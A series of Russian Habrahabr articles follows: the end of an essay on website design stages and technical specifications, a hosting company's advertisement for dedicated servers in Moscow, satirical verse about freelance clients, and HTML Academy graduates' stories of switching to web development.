телевизор, а его нужно доставить, установить, настроить и т.д. 10 лет назад каждый покупатель делал это сам, интернет-магазин ему не предлагал такой широкий сервис. Сегодня многие магазины предлагают множество дополнительных услуг к основному продукту, и люди это покупают. Как это было придумано? Ответ очевиден: кто-то начал наблюдать за покупателями и понял, что они в реальной жизни заказывают дополнительные услуги на стороне, но это не очень удобно и можно предложить комплект. Так и родилась эта функция по увеличению среднего чека, как и много подобных идей в современных веб-проектах. Создав такие сценарии, мы их берем и прогоняем по ним наш прототип, страницу за страницей. Опять же они должны быть подробные и приближенные к жизни, иначе они нам не вскроют ошибки проектирования. Этот этап должен помочь нам найти проблемы в логике и доработать интерфейсы по мелочам. Customer Journey Map в свою очередь даст пул новых идей для проекта, часто уникальных, которых не будет у конкурентов. Все прогонки по сценариям делаются с привязкой к разработанным ранее персонажам, чтобы проектировщик думал, как типичный пользователь будущего проекта. В конце этого этапа мы исправим ряд ошибок и доработаем наш прототип. QA и юзабилити тесты Мало кто знает, но у проектирования есть отдельный этап QA. Когда специально обученный менеджер по качеству, с очень большим пользовательским опытом, начинает задавать неудобные вопросы проектировщику. Задача этого человека в том, чтобы просмотреть каждую спроектированную страницу, оценить все спроектированные функции и убедиться, что все понятно и качественно. Казалось бы — зачем? Мы же сделали динамический прототип, прогнали по нему сценарии поведения, нашли ошибки. На самом деле к этому этапу у проектировщика просто «замыливается глаз», и взгляд со стороны позволит нам найти еще ряд ошибок и спорных решений. Кроме того, QA сразу оценивает реализуемость спроектированной системы на следующих этапах. Отдельно можно провести полноценное юзабилити-тестирование, в котором показать сайт реальным людям, будущим пользователям нашего проекта. От них тоже можно получить интересный фитбек и учесть его, комментарии можно оставлять прямо в Axure, там есть такая функция. Впрочем, с разными тестированиями и проверками тоже не стоит заигрываться. Если мы сделали все правильно, то на этом этапе ошибок не должно быть много, прототип уже должен быть «вылизан» почти идеально. В конце этапа мы исправим последние ошибки и можем продолжать работу над проектом. В частности, проект к этой стадии уже давно должен активно дизайниться, верстаться и программироваться. Разработка такого прототипа у больших проектов занимает от 150-200 часов и более. У маленьких проектов для опытного проектировщика вполне хватит нескольких десятков часов, зато он даст полную гарантию того, что мы не будем вечно переделывать и тратить драгоценные ресурсы на более поздних этапах. Техническое задание Рис. 19. Пример технического задания для проекта «Маркетплейс». Имея полный динамический прототип нам нужно написать сопроводительное ТЗ. По-хорошему, оно должно писаться в процессе прототипирования, после каждого утвержденного макета. Несмотря на наглядность живого прототипа, из него будет понятно не все. ТЗ может делаться по-разному: от описания неочевидных механик прототипа до сотен страниц технических требований проекта. Главное, не писать ТЗ ради того, чтобы было, и не вписывать туда бесполезную воду. Пишем только действительно важные требования для проекта. Структура ТЗ опять же бывает разная. Кроме описания самого интерфейса, мы обычно включаем такие блоки: Архитектура сайта — прорабатывает архитектор Требования по нагрузкам — прорабатывает архитектор и тим лид Сервера и инфраструктура — прорабатывает системный администратор, архитектор и тим лид Требования по безопасности — прорабатывает специалист по безопасности и тим лид Требования по SEO — прорабатывает SEO-шник и интернет-маркетолог Требования к дизайну — прорабатывает дизайнер Требования к верстке — прорабатывает верстальщик Микроразметка — прорабатывает верстальщик UML, диаграммы робастности — прорабатывает проектировщик и программист Разграничение прав доступа — прорабатывает проектировщик Не все прорабатывают эти блоки на этапе проектирования. Но мы помним, что чем позже начнем формировать требования, тем дороже будет стоимость изменений. Если посмотреть на подавляющее большинство больших проектов, то они не формировали подобные требования в начале. Вспоминая много разных историй разных проектов, я могу выделить ряд типичных проблем, которые появлялись как раз из-за не проработанности этих вещей сразу. Думаю, ниже многие сейчас узнают себя. Что если не прорабатывать требования, указанные выше? Архитектура сайта — если её не проработать, с высокой долей вероятности мы заложим неверную архитектуру, это приведет к проблемам масштабирования проекта, и его придется переписывать. Требования по нагрузкам — обычно делают проект, а потом отдельно тестируют и оптимизируют нагрузку. Но если требований нет, в архитектуре это не предусмотрено, то сайт рано или поздно начнет падать при росте посещаемости, и произойдет это в самый неудобный момент. Сервера и инфраструктура — тоже самое, непродуманная инфраструктура приведет к необходимости перенастройки и падению сайта. Требования по безопасности — если у нас не будет требований по безопасности, и этим никто не будет заниматься, это неизбежно приведет к взломам, последствия которых будут непредсказуемы: от кражи данных до полного стирания сайта. Требования по SEO — как часто вы слышали от маркетологов, что сайт нужно переделывать под требования SEO? Если у вас был хотя бы один сайт, который вы продвигали, то с вероятностью 90% слышали. Все потому, что создавали его без требований к SEO, которые должны закладываться именно на этапе проектирования, а не позже. Требования к дизайну — если мы не проработаем эти требования, то имеем риск долго переделывать дизайн. Это вообще самое скользкое, что может быть, так как у всех разные предпочтения, и все мнят себя дизайнерами. Единственный вариант снизить количество переделок дизайна — это заложить требования. Требования к верстке — сегодня Google учитывает множество параметров верстки. Это и адаптивность, и стандарты W3C, и скорость загрузки, и многие другие параметры. Если мы не заложим требования к верстке, то сайт у нас будет плохо индексироваться и плохо отображаться на мобильных устройствах пользователей. Микроразметка — если мы не сделаем её, то верстка у нас будет на субъективное усмотрение верстальщика, а значит, сайт не будет правильно индексироваться. UML, диаграммы робастности — это больше для программистов, чтобы они ничего не упустили и опять же не переделывали. Разграничение прав доступа — тоже самое, для программистов, чтобы не переделывать. Как можно заметить, каждый пункт довольно важен для проекта, а некоторые — критичные. Вся эта детализация требований защищает от переделок, тем самым сильно экономит время и деньги. Опять же, вернусь к началу статьи, все это можно делать по Agile, постепенно формируя требования по мере старта проекта. Главное, чтобы менеджер проекта хорошо понимал этапность проектирования, когда какой этап можно начинать, и как все они связаны с дальнейшей разработкой. Зная все это, можно спланировать так, что нулевая стадия у нас займет всего 2 недели, а затем начнется постоянная работа над всеми этапами одновременно, при этом с минимумом переделок. Рис. 20. Таблица с правами доступа для проекта «Маркетплейс». ТЗ — это довольно объемный документ. Для примера можно посмотреть часть ТЗ, которое мы разрабатывали, в частности описание прототипа Маркетплейса . Две сотни страниц описания. Описание должно быть подробным и понятным. Нельзя допускать неточностей и двояких трактовок. Важно описать неочевидные места. Например, рейтинг пользователей может выражаться в проектировании одной цифрой, а на самом деле скрывать за собой сложную формулу его расчета. В документе обязательно должны быть ссылки на конкретные страницы прототипа и нарезка частей интерфейса. Часть блоков ТЗ у проектировщика уже может быть, если он ранее делал подобный проект. Их можно использовать с незначительными корректировками. Правда, таких не много. Использовать можно требования к верстке, микроразметке и некоторые другие блоки, но основную часть придется продумывать с нуля. Это опять же позволяет нам ускориться в работе, вот почему я всегда стараюсь работать только с проектировщиками с хорошим опытом. В конце этого этапа мы получим полное ТЗ проекта, которое должно минимизировать риски максимально, насколько это можно, и из статьи вы сами поняли, почему именно. Маленький бонус В статье я показал много примеров из проекта «Маркетплей», в том числе прототип карточки товара, и дал ссылку на полный динамический прототип. После проектирования любой проект передается на дизайн. И этот проект в дизайне выглядит вот так: Рис. 21. Дизайн страницы товара проекта «Маркетплейс». Что должно получиться в итоге? Проектирование — это основа любого успешного проекта. Неотъемлемая и крайне важная часть. Я много раз видел проекты, которые делались без проектирования, и почти всегда это были печальные истории. Без проектирования мы в лучшем случае прийдем к бесконечной переработке и потратим уйму ресурсов зря, но чаще всего проекты просто умирают. Как вы уже догадались, это тот этап, который делает целая команда. Как минимум это BI Analyst для аналитической части и UX / UI Designer для графической. Но в качестве консультантов на разных этапах нужно привлекать таких ребят, как: Digital Marketing Manager — для проработки маркетинговой составляющей и работе над интерфейсами, System Administrator — для разработки требований к аппаратному обеспечению, QA Engineer — для проверки логики прототипа, Software Architect — для разработки архитектуры, Web Designer — для консультаций по интерфейсу, Technical Writer — для разработки технического описания проекта и ряд других экспертов. Несмотря на множество описанных здесь этапов, в целом проектирование — это не очень долгий и затратный этап, по крайней мере, для опытного проектировщика. А если оценивать его, как хорошую и почти единственную защиту от переделок и ошибок, то в итоге проектирование экономит много времени и денег владельцу продукта. Я бы сказал, что именно проектирование имеет один из самых больших ROI в проекте. Обычно проектирование применяется для новых проектов, хотя его также можно применять и для уже готовых проектов, чтобы значительно улучшить конверсию и другие базовые KPI проекта. Правда, для уже работающих проектов технология будет другой, и это тема отдельной статьи. В любом случае, это целая сложная наука со своими правилами и специалистами. Мы учились этому всей командой почти 10 лет, и учимся до сих пор, набивая на пути множество шишек. Описанная тут технология хорошо подходит для больших сайтов. Для маленьких и средних проектов её нужно упрощать, но она работает и здесь. С недавнего времени мы также делаем и мобильные приложения. В скором времени ждите статью про проектирование приложений, там много особенностей и специфики, хотя подходы очень похожи. P.S. На днях у нас стартовал курс по проектированию от авторов статьи: Проектирование серьезных сайтов . Еще можно записаться на курс со скидкой. Для этого пишите на [email protected] P.P.S. Чтобы получать наши новые статьи раньше других или просто не пропустить новые публикации — подписывайтесь на фан страницы SECL Group: Facebook , VK , и Twitter . Автор: Никита Семенов CEO Компания « SECL Group »
https://habrahabr.ru/company/SECL_GROUP/blog/318660/
habrahabr
Аренда выделенных серверов в России
['выделенный сервер', 'аренда сервера', 'российский рынок', 'надежность дисков', 'техподдержка', 'пинг', 'дата-центр', 'аренда выделенного сервера']
Привет, хабровчане! Честно сказать, мы не думали, что уже после первого поста наш небольшой запас выделенных серверов разберут буквально за считанные часы. Спасибо за доверие! Надеемся, что вас...
Привет, хабровчане! Честно сказать, мы не думали, что уже после первого поста наш небольшой запас выделенных серверов разберут буквально за считанные часы. Спасибо за доверие! Надеемся, что вас порадует качество канала и железа. Теперь мы подготовили новое оборудование, а к нему новогодний подарок — 1 Гбит бесплатно. Положение на рынке ЦОД-ов Сейчас очень много хостинговых компаний предоставляют выделенные сервера в аренду. У кого-то параметры крутые, а цена завышена, у других — наоборот, дешево, но начинка мало для чего подойдет. Чтобы найти идеально подходящий для задачи сервер надо потратить не один час времени на сайтах с рекламной информацией, чтобы понять, что и где надо брать. При этом мало кто пишет о критериях выбора — в основном причины почему надо выбрать именно этого поставщика услуг. Мы уже привыкли к тому, что часто приходится отдавать проекты на аутсорс, потому что за границей сделают лучше, что бы там ни было. Особенно, например, в Германии. Но есть минус — сервера, которые далеко — они далеко и самим с ним ничего нельзя сделать. Если арендовать местные российские сервера, например, в Контел, вы сможете приезжать на территорию дата-центра и работать непосредственно с физическим сервером. То, что в Германии, — нельзя потрогать, а в России же вы можете приехать к своему провайдеру в офис и попросить об экскурсии по дата-центру. Если у компании отношения с клиентами в высоком приоритете, то они вам не откажут. Как выбирать Первое, на что надо обратить внимание — количество посетителей, которое планируется на ресурсе. Реальность такова, что разные движки и сайты могут иметь одинаковые хостинговые ресурсы и выдерживать разное количество пользователей. Среднее значение для типичного корпоративного выделенного сервера в России — это от 2 000 до 300 000 человек. Без глубокого оптимизирования производительности. Для большей посещаемости готовьтесь ставить несколько выделенных серверов. Также важно пользоваться всеми услугами, включенными в договор: чем больше 'бонусов’, тем выше цена. Однако не все из предложенного может понадобиться в реальности. Уточните, можно ли в будущем масштабирование мощности сервера. Это может быть удобнее покупки новой конфигурации. Важна платформа. Десктопные комплектующие менее надежны, но стоят меньше. Кроме этого западные компании часто ограничивают выбор ОС для сервера клиента. Если сравнивать услуги аренды серверов у западных компаний и у российских, то вот что можно назвать среди первых важных факторов: Неудобство аренды выделенных серверов за рубежом в том, что невозможно использовать фискальный расчет. Бюрократические проволочки при заключении договора между российской и зарубежной компанией можете представить сами. Еще одно преимущество выделенного сервера в России — сравнительно маленькое время отклика по сравнению с заграничными. Пингуются, проще говоря, наши быстрее. Важность быстрого пинга в аренде выделенных серверов Скорость отклика страницы — один из главных критериев для любого пользователя. Если она не устроит клиента интернет-магазина или сетевого “игрока в танчики”, то количество клиентов будет намного меньше. Так что, если пользователи вашего сервиса находятся в России, то выделенный сервер в Москве обеспечит более короткий пинг, чем любой другой, который находится западнее Москвы. Наши выделенные сервера собраны из новых комплектующих. Поломки случаются крайне редко. В таком случае вышедшие из строя диски, например, заменяются в течение получаcа. В западных компаниях оборудование может быть старым, а некоторые могут предоставлять виртуальные сервера под видом выделенных и брать неадекватную оплату соответственно. Специалисты технической поддержки говорят на вашем родном языке — русском. Это облегчает взаимопонимание в решении рабочих вопросов. При желании можно приехать в дата-центр и самостоятельно поработать со своим сервером. В Контел отсутствуют скрытые и установочные платежи. Формирование стоимости — прозрачный процесс. Дополнительные услуги включены в пакет и за них вносится единоразовая сумма. Иногда в процессе аренды серверов у западных компаний происходит ситуация, похожая на обслуживание карточек в не очень клиентоориентированном банке: когда за подключение минимально важных услуг берется непомерная плата. Бывает так, что по любой жалобе типа abuse, вам перестанут предоставлять услуги. Мы даем время на устранение и всегда открыты для переговоров. Отвечает наш специалист Как часто возникают проблемы с аппаратным обеспечением в компании? Как быстро решаются? Форс-мажоры бывают, но по части выхода оборудования из строя, за текущий год на моей памяти был всего 1 раз. Решением занимаемся по мере поступления, если проблема массовая – например выход из строя сетевого оборудования, устранение неисправности соответственно производиться в самые кратчайшие сроки. Что происходит если оплата не поступит вовремя? Для каждой услуги разные сроки продления. Для VPS сервера оплата должна поступить не позднее 3-х дней с момента окончания оплаченного срока. Выделенные сервера: до 7 дней с момента окончания оплаченного срока (если не оговорены иные сроки). По прошествии оплаченного срока, и просрочки платежа на 3-7 дней, услуга удаляется без возможности восстановления. Есть клонирование серверов или бэкап? Для VPS серверов резервное копирование не производиться, с целью сокращения стоимости услуги. Но для услуг Администрируемые VPS , на старших тарифных планах мы предлагаем бесплатную панель управления IPSmanager, с возможностью настройки резервного копирования на сторонние FTP, такие как Яндекс.Диск, DropBox. Это позволяет производить резервное копирование не только файлов сайтов, баз данных, и прочего, но и также настройки всех параметров панели управления, настройки EMAIL (SPF,DKIM и другие), настройки сайтов, и доменов, пользователей и т.д. Для услуги Выделенные серверы мы предлагаем бесплатное хранилище на 100GB с доступом по FTP/sFTP, и возможностью расширения. Есть ли локальная сеть между vpc и выделенными серверами? Возможность создания локальной сети между серверами есть, но только для выделенных серверов. Как работает система технической поддержки клиентов с выделенными серверами? Какие особенности? Поддержка оказывается, как по телефону, так и по тикет системы – биллинг панели. В случае необходимости экстренной связи, поддержка может оказываться на прямую через сотрудников ЦОД, по телефонному номеру. Как происходит утилизация данных после отказа клиента от сервера? Для VPS сервера производиться полное удаление виртуального диска (без возможности восстановления). Для выделенного сервера сразу после окончания оплаченного срока, и просрочки платежа на срок более 7 дней, форматирование дисков, и установка чистой ОС. Что с безопасностью данных на серверах? Мы постоянно работаем над этим. В ближайших планах — установить веб-камеры с возможностью просмотра видео в режиме реального времени для каждого клиента через личный кабинет. С нами — спокойно Выделенные сервера компании Контел размещены в собственном дата-центре, который стоит в километре от главной точки обмена трафиком в России. Так мы гарантируем стабильность связи, постоянство электрического питания и резервирование линий связи. Перед выдачей сервера клиенту мы производим его проверку силами и своих специалистов, а после этого протестировать сервер вы можете самостоятельно на нашей территории. Мониторинг работы выделенных серверов не прекращается ни на минуту. Это нужно также для быстрого решения возникающих вопросов и проблем. Доступ к интернету осуществлен по собственным каналам связи и линиям любых сторонних операторов, которые присутствуют на ММТС-9. Общая емкость линий каждого выделенного сервера — 1Гбит\с, для особо требовательных проектов мы можем предоставить выделенный честный провайдерский гигабит без каких либо ограничений по трафику. Возможно, это и старомодно — доверять тому, что можно “потрогать” и увидеть своими глазами, но так можно быть стопроцентно уверенным. Важно хотя бы иметь возможность приехать, можно и не использовать ее, но все же. Так спокойнее и привычнее, не так ли? Мы можем пригласить к себе в дата центр на экскурсию всех желающих единственный момент надо предварительно согласовать посещение. Если вдруг после заказа вас не устроит качество, то в течении 2-х недель мы гарантируем моментальный возврат денежных средств без всяких условий.
https://habrahabr.ru/company/contell/blog/318664/
habrahabr
Вредные советы заказчику
['Вредные советы', 'заказчик']
Отодвиньте на несколько минут клавиатуру, возьмите в руку горячую парящую кружку кофе, представьте, что на вас надеты теплые шерстяные носки с оленями, откиньтесь в кресле и наконец-то...
Отодвиньте на несколько минут клавиатуру, возьмите в руку горячую парящую кружку кофе, представьте, что на вас надеты теплые шерстяные носки с оленями, откиньтесь в кресле и наконец-то расслабьтесь. Конец года, можете себе позволить, в конце концов. Даже если на носу дедлайн, а работать сверхурочно 31-го декабря ой как не хочется. Какой же нормальный заказчик заставит своего программиста спешно деплоить непротестированный код на продакшен в самый канун праздника? Вы прищуриваетесь и слегка ухмыляетесь уголком рта, ведь вас не провести. И не таких видали! И откуда только они берутся? Кто-то советует им плохое, не иначе. А они люди наивные, верят всему. Вот бы хоть глазком взглянуть на эти вредные советы, из-за которых клиенты ну никак не могут найти общий язык с нами, простыми и добросовестными разработчиками в носках с оленями! P.S. Все примеры взяты из реальной жизни и усердно выковыряны из недр одной известной онлайн-биржи труда, название которой я вам, конечно, не скажу, но вы и так, конечно, догадаетесь. Если для своей задачи Программиста изыскал ты, И он справился неплохо, Принеся тебе довольство, Не бери его контактов. Путь покрыта будет тайной Его личность, словно Бэтмен Правил код тебе ночами. Looking forward a freelancer whose nick name is Venus. Please contact to me if you are real VENUS. This is a long-term project with cooperation. Если ты себе представил Яхты, виллы, голых женщин, И представленное очень Вдохновило на свершенья, Срочно нужно программиста, Даже, может, лучше пару. Приложенье пусть напишут, Что заткнет весь мир за пояс! i want to create an app that people are going to like and want something new but different needs to be quick on computers and must know how to work together as a team Как известно программисты Очень много просят денег. Где же взять такие суммы, Чтобы их нанять в достатке? Есть одна большая хитрость: Надо денег не давать им, Вместо этого речами Лучше будет их умаслить. Work for good life Looking job expirience and Windows 7/8/10 Expirience system devoleper Если папа дал впервые На карманные расходы, Оголив тем самым жилку, Что блестит у бизнесменов, Срочно ты берись за дело И купи не шоколадку, А бывалых программистов, Ведь три доллара — не шутка! I am 10 years old and I need to make a website that resembles https://*******.com but I will be renting kids video games. This will be a subscription-based service. Если ты два раза в банке Деньги снял из банкомата, Смело можешь представляться Ты финансовым экспертом. Тут не надо тушеваться: Пара добрых программистов, Языков что знают много, Воплотят мечту в реальность. Build a mobile app for ALL banks. This will be the future. creating a creative app, cutting out the middle man all types of programming languages Так бывает, что идея Вроде в воздухе витает, Стоит руку протянуть лишь И поймать за хвост удачу. Передать тогда непросто Эту мысль программистам. Да не стоит и пытаться, Так поймут — они-ж не дети! not sure not sure not sure Если, дорогой читатель, Ты осилил все советы, Стать должно предельно ясно, Почему заказчик хочет, Чтобы ты прозрачных линий Красных перпендикулярных На экран зеленым цветом Вывел бы за три копейки.
https://habrahabr.ru/post/318650/
habrahabr
Личный опыт: как нетехнарю стать фронтенд-разработчиком
['вёрстка', 'html', 'css', 'образование', 'смена работы', 'карьера']
Фото: Flickr / Scott & Elaine van der Chijs / CC Ранее в нашем блоге мы говорили о том, как изучение веб-технологий и вёрстки может помогать в работе представителям нетехнических профессий....
Фото: Flickr / Scott & Elaine van der Chijs / CC Ранее в нашем блоге мы говорили о том, как изучение веб-технологий и вёрстки может помогать в работе представителям нетехнических профессий. Некоторые люди, начинающие глубже погружаться в мир веба, понимают, что хотят сменить род деятельности. Это может быть страшно — сменить сферу деятельности и из нетехнаря превратиться в ИТ-специалиста. Однако вокруг нас всё больше примеров таких успешных трансформаций. В том числе — истории нескольких выпускников HTML Academy, которые не только получили новые знания, но и смогли найти работу для их применения на практике. Журналист → фронтендер Ирина Смирнова, фронтенд-разработчик в Bookmate Завязка этой истории зауряднее некуда: окончив университет, я совсем не знала, что делать со своей жизнью. То ли оставаться журналистом средней руки и устроиться на заведомо нелюбимую работу, то ли удавиться сразу. В результате, конечно же, устроилась на работу (нелюбимую), но карьерный вопрос оставался открытым. Очередной ленивый гуглинг привёл меня на сайт академии. Я всегда не ладила с техникой и к компьютерам была безразлична, но в тот момент терять было нечего, а курсы казались скорее развлечением, чем учёбой. Неожиданно «всё завертелось»: после курсов последовали три интенсива, потом поиски работы, первые тестовые задания, несколько неудачных собеседований. В феврале 2016-го я, уже достаточно осмелевшая и набившая немало шишек на каверзных вопросах, пришла на встречу в «Букмейт». И осталась. Лучшего старта в этой сфере для себя я даже придумать не могла. Буквально неделю назад я официально стала фронтенд-разработчиком: получается, потребовалось меньше года, чтобы вырасти из HTML-верстальщика. Наверное, именно это меня и восхищает в IT: то, чего ты достигаешь, прямо пропорционально тому, насколько ты сам выкладываешься, и не зависит от посторонних факторов. А результат твоей работы всегда оценивается объективно, он осязаем и конкретен. Академия мне дала нечто большее, чем просто возможность сменить профессию. Что-то, что сильно поменяло меня и распространилось на всю жизнь в целом: превратило меня из «диванной картошки» в проактивного человека, который всё время что-то учит, делает, кодит, заставляет других учить… Кстати, на «Букмейте» у меня есть полка , где я собираю лучшие книги по веб-разработке и дизайну интерфейсов, которые помогли мне в обучении. Помогут и вам, если решитесь на этот квест «Стань-из-кого-угодно-веб-разработчиком». Сотрудник колл-центра → программист Софья Лапшина, младший разработчик в Performance Lab Я начала работать чуть раньше 18 лет. Долгое время моей целью было просто заработать денег, которых мне будет достаточно для проживания. В основном я работала в так называемых колл-центрах. Время шло, денег хватало. И в 23 года я задумалась: «А что дальше?». Перспектива сидеть до 55 лет и отвечать на звонки меня не прельщала, да и руководящие должности меня не интересуют. Мне хотелось работать там, где всегда есть к чему стремиться, где ты будешь постоянно развиваться и не погрязнешь в рутине и стопках бумаг. Однажды я случайно увидела, как мой друг пишет код. Попутно он рассказывал, какая строчка кода за что отвечает. Мне показалось, что это всё сложно, что надо изучить кучу литературы для того, чтобы хотя бы просто начать этим заниматься. Друг оказался хороший и предложил мне попробовать свои силы в бесплатных онлайн-курсах на HTML Academy. Вот тут и начинается всё самое интересное. Курсы на сайте, подписка, два интенсива. Прошёл всего лишь год с того момента, как я перешла по ссылке, и вот я уже больше месяца работаю в IT-компании на позиции младшего разработчика. Но обо всём по порядку. Обучение Сколько людей, столько и мнений по поводу того, как учиться — самому или на курсах, какие ресурсы лучше и так далее. Внимательно изучив путь становления фронтенд-разработчиком, я решила, что начинать надо с вёрстки, с изучения HTML и CSS. Как человек мало что смыслящий на тот момент в разработке, решила отдать себя в руки профессионалов и пошла на интенсивы от Академии — « Базовый HTML и CSS » и « Продвинутый HTML и CSS ». Не стану рассказывать, что это за интенсивы: их описание вы можете почитать на сайте Академии, а также посмотреть отзывы. Могу сказать лишь то, что я не ошиблась, когда подумала, что надо изучить кучу литературы. Но раз уж начала, то решила не отступать. Сначала я научилась создавать пустую страницу. Потом на странице появился какой-то текст. И я думаю: «Круто! А что ещё я могу?». Научилась «раскрашивать» страницу. «А ещё?». Строить страницу из блоков. «А ещё? А ещё? А ещё?». И в итоге я могу создавать красочные страницы сайта, которые отлично смотрятся как на ПК, так и на телефоне. Информации и правда много, но в этом и есть вся прелесть. Погружаясь в мир разработки, самому хочется изучать его всё больше и больше. Даже сейчас, уже работая младшим разработчиком, я продолжаю учиться, но это совершенно не в тягость, а даже в радость. Поиск работы Окончив курсы, начала искать работу. К слову, знала я только вёрстку и что-то слышала про JavaScript. Многие говорят, что новичкам сложно найти работу. А я скажу, что нет, не сложно. Тут, как и везде, главное — чтобы ваши возможности совпадали с потребностями работодателя. Да, к новичкам присматриваются с опасением, но тут уже от вас зависит, как вы проявите себя на собеседовании. Ожидание vs Реальность, или Мой первый опыт работы в IT-компании Сразу отмечу, что тут всё зависит от компании, все они на вкус и цвет разные, поэтому рассказывать буду непосредственно о той, где работаю. Сейчас я работаю в Performance Lab. Сама компания занимается различными тестированиями сайтов, приложений и IT-систем. Собственно, компании нужен был человек, знающий вёрстку и который в ближайшем будущем планирует развиваться в сфере разработки. И тут совпали не только мои возможности с потребностями компании, но и наши желания. В ожидании первого рабочего дня я думала, что меня, как новичка, посадят рядом с опытным коллегой и я буду под его чутким руководством делать какие-то небольшие задачи. После того как немного адаптируюсь, мне начнут давать какой-то материал для моего развития как разработчика, а после — задачи посложнее и так далее. И вот настал он, мой долгожданный первый рабочий день. Всё так, как я себе это представляла, только перешли мы сразу к задачам посложнее и ни к какому коллеге меня не подсаживали. Вместо этого у меня целый офис опытных и весёлых коллег, которые готовы поделиться своим опытом в любой момент. Именно за это я люблю мир разработки. Всё не всегда бывает гладко, но в целом здесь люди делятся своим опытом и знаниями. Это интересная сфера, которая не даст погрязнуть в однообразии серых будней, которая постоянно развивается и которая даёт возможность проявить себя не только в рамках компании, но и на просторах Всемирной паутины. Для тех, кто ещё сомневается. Я девушка, которая вступила на этот путь, имея только среднее специальное образование, мой английский был далёк от идеального, и о разработке я не знала ничего. Всего за один год я прошла путь от «непонятно кого» до младшего разработчика. Главное — желание, а остальное у вас получится. Экономист и бизнесмен → бэкенд-разработчик Артемий Степанов, Backend Developer По образованию я экономист, ввиду неких обстоятельств и сильного влияния и наставлений отца я выбрал именно этот путь. Он хотел, чтобы я шёл по его стопам, и я это делал. С помощью отца я открыл собственное ООО по юридическим услугам. Но так как меня всё-таки со школьных времён тянуло к программированию, я принял решение, что хочу быть ближе к IT — в итоге недолго думая сменил сферу деятельности компании и её название. Теперь это веб-студия. Почему так? Всё просто. Я долго думал над тем, какой продукт нам стоит создавать, и пришёл к выводу, что веб-разработка — это универсальная вещь: продукты не ограничены в среде, в отличие от приложений, сайты и веб-аппы можно использовать откуда угодно, был бы интернет. Однако позднее я понял, что и этого мне недостаточно. К тому времени влияние отца уже было не таким серьёзным, я был вполне независимым человеком. Так совпало, что один из наших верстальщиков приболел, а сроки поджимали. С помощью другого нашего верстальщика я решил вникнуть в проект — сейчас я понимаю, что только якорем тянул разработку вниз по времени, потому что объяснять детали человеку не в теме довольно тяжело. Я понял, что до сих пор являюсь полным нулём, и стал искать курсы. Друзья-программисты посоветовали бесплатные курсы HTML Academy. И тут, как говорится, понеслось. Я записался на базовый курс по HTML/CSS — после его прохождения понял, что хочу этим заниматься и дальше. Работа с наставником (его зовут Максим Фарига) стала первым толчком к цели. Окончив курс, я стал потихоньку верстать в свободное время и для проектов своей компании. В Академии идти на базовый курс по JS рекомендуют хотя бы после полугода работы верстальщиком, но я записался на него уже через два месяца. Здесь я познакомился с одним из лучших менторов в своей жизни, Борисом Ванюшиным. Он был строг, не давал никаких поблажек, временами я страдал (в хорошем смысле). Именно такое отношение помогло научиться мыслить как программист. Всё же HTML и CSS — языки разметки, а тут я впервые столкнулся с настоящим языком программирования. Незадолго до окончания курса я закрыл свою компанию, решив найти работу разработчиком. Я целыми днями сидел дома и продолжал совершенствоваться. Никакого дохода в этот момент у меня не было — родственники и знакомые думали, что я спятил, раз закрыл прибыльный бизнес ради мечты о новой работе. Жена тоже была в шоке. Без работы я просидел около семи месяцев, всё это время я учился дальше и параллельно искал работу. В итоге подтянул JS до более-менее нормального уровня, освоил ES6, препроцессоры для CSS и прочие новомодные вещи. В августе этого года меня взяли за стажировку в фирму, которая разрабатывает исключительно сервисы. Около месяца я проработал в ней фронтенд-разработчиком (AngularJS, gulp, Sass), параллельно изучая Node.js. Спустя месяц меня перевели на бэкенд-разработку: я сам захотел, и у меня это получается действительно лучше. Этим до сих пор и занимаюсь. По итогу всей этой истории можно сказать, что теперь я наконец делаю то, что мне действительно нравится. У меня отличная команда, зарубежные заказчики (из Норвегии), в арсенале — HTML, CSS, Stylus, Sass, JavaScript (ES6), AngularJS, Node.js, Express, MongoDB + Mongoose, Ruby (хотя тут я ещё совсем зелёный). Весь этот путь занял 11 месяцев. На момент, когда я решил кардинально поменять свою жизнь, мне было 24, сейчас мне 25. Конечно, жалко впустую потраченного времени, жалею, что попал в программирование слишком поздно. С другой стороны, это только подстёгивает к развитию и совершенствованию навыков. Музыкант → верстальщик Артём Иванец, младший фронтенд-разработчик в компании eWave Вот моя история. Я 15 лет профессионально учился музыке, пройдя весь положенный путь: ДМШ, ССУЗ, ВУЗ. Однако позднее я столкнулся с проблемами со здоровьем: пострадали руки — пришлось приостановить музыкальную деятельность. Нужно было придумать, чем заниматься. Мне было интересно разобраться с программированием. Однажды я случайно наткнулся на статью создателя HTML Academy Александра Першина, в которой он говорил о том, что верстальщик — это отличный старт в ИТ. Затем начал изучать литературу, но самостоятельно разобраться в ней было сложно. И уже потом наткнулся на сами курсы академии. Попробовал интерактивные курсы и решил записаться на интенсивный: очень уж хорош был контент занятий. В итоге я отучился на двух интенсивах. После этого смог устроиться на работу в крупную компанию, которая разрабатывает проекты в сфере e-commerce для заказчиков из австралийского региона. Устроился я туда не сразу: сначала получил около 30 отказов — даже без приглашения на собеседование. На самом интервью я показал себя не лучшим образом, завалил часть по JS, но по вёрстке проблем не возникло. Как выяснилось, обучение в Академии даёт всё, что нужно для получения работы и старта в профессии, и даже больше того. В этом я убедился, когда столкнулся с джуниорами, которые учились сами. Я доволен: мне нравится работа, и никто мне не запрещает параллельно заниматься искусством. Организатор гастролей → разработчик чат-ботов Евгений Ладыженский, младший фронтенд-разработчик, создатель чат-ботов Решение о смене работы далось мне очень тяжело. До весны 2015 года я семь лет вполне успешно занимался организацией гастролей. Однако меня всё время преследовало ощущение того, что я занимаюсь не своим делом и постепенно деградирую. Выйти же из зоны комфорта было страшно: казалось, что в 36 лет менять профессию уже поздно. В детстве я мечтал быть программистом, но в своё время пошёл по пути наименьшего сопротивления и поступил в тот вуз, куда мне хватало баллов, — лишь бы не идти в армию. Отважившись на кардинальные перемены, я вспомнил о юношеской мечте и решил наконец связать себя с программированием. Поначалу я пытался учиться по книгам, но этот процесс требовал больших усилий и значительного времени. Поэтому когда я наткнулся на рекомендацию HTML Academy, то решил пройти базовый курс по HTML и CSS. После этого сразу же сумел найти работу верстальщиком, а после прохождения базового курса по JS устроился на позицию младшего фронтенд-разработчика, спустя ещё некоторое время увлёкся разработкой чат-ботов и открыл собственный бизнес в этом направлении. Если трезво оценивать свои возможности и не просить с ходу много денег, то работу найти несложно. Главное — помнить, что в любой профессии всегда был и будет дефицит адекватных людей. Что касается сложностей, то, конечно, они были: прежде всего большинство знакомых и родственников высказывали сомнения в разумности кардинальной смены профессии. Отсюда мораль: не стоит никому рассказывать о своём решении до тех пор, пока перемены не станут необратимыми. Иначе можно и самому засомневаться в успехе. 